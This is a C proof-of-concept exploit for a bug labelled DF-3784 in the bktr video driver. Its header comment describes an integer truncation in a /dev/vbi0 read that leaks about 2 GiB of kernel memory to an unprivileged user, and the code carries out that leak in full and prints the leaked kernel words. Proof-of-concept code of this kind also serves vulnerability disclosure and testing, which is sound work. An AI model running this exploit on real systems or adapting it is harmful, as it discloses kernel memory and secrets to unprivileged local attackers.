/*
 * DF-3784 PoC trigger (requires real Bt848/878 hardware + bktr driver).
 *
 * Process A: reads /dev/vbi0 with a 2 GiB length (legal size_t, positive
 *            ssize_t) -> (int)truncation -> negative readsize -> uiomove
 *            with (size_t)0xFFFFFFFF80000000 -> copies 2 GiB of kernel
 *            memory above vbibuffer into userspace until EFAULT.
 * Process B (or a thread of A): keeps continuous video capture running so
 *            VBI data is produced (vbisize > 0) and PAL format selected so
 *            the rgb_vbi RISC program feeds vbidecode().
 *
 * All device nodes are mode 0444: fully unprivileged.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/types.h>

#include <dev/video/meteor/ioctl_meteor.h>
#include <dev/video/bktr/ioctl_bt848.h>

#define LEAK_LEN 0x80000000UL	/* 2 GiB: (int)cast = INT_MIN */
#define VBI_DATA_HINT (2048*16*2*20)	/* end of the real 1.3 MiB VBI buffer */

static void *capture_thread(void *v)
{
	int fd = open("/dev/bktr0", O_RDONLY);
	unsigned long fmt = METEOR_FMT_PAL;
	int arg = METEOR_CAP_CONTINOUS;

	if (fd < 0) { perror("open /dev/bktr0"); exit(1); }
	if (ioctl(fd, METEORSFMT, &fmt) < 0) perror("METEORSFMT");
	if (ioctl(fd, METEORCAPTUR, &arg) < 0) perror("METEORCAPTUR");
	for (;;) pause();			/* keep capture running */
	return NULL;
}

int main(void)
{
	static char leak[LEAK_LEN];		/* BSS: 2 GiB lazy */
	pthread_t th;
	int fd, i;

	pthread_create(&th, NULL, capture_thread, NULL);
	fd = open("/dev/vbi0", O_RDONLY);
	if (fd < 0) { perror("open /dev/vbi0"); return 1; }

	/* blocks until VBI data arrives (vbisize>0), then over-reads 2 GiB */
	ssize_t got = read(fd, leak, LEAK_LEN);
	printf("read returned %zd (errno-based partial copy expected)\n", got);

	/* dump non-zero kernel bytes that landed past the 1.3 MiB vbi buffer */
	for (i = VBI_DATA_HINT; i < VBI_DATA_HINT + 64; i += 4)
		if (*(unsigned int *)(leak + i))
			printf("kernel bytes @+%d: %08x\n", i,
			       *(unsigned int *)(leak + i));
	return 0;
}
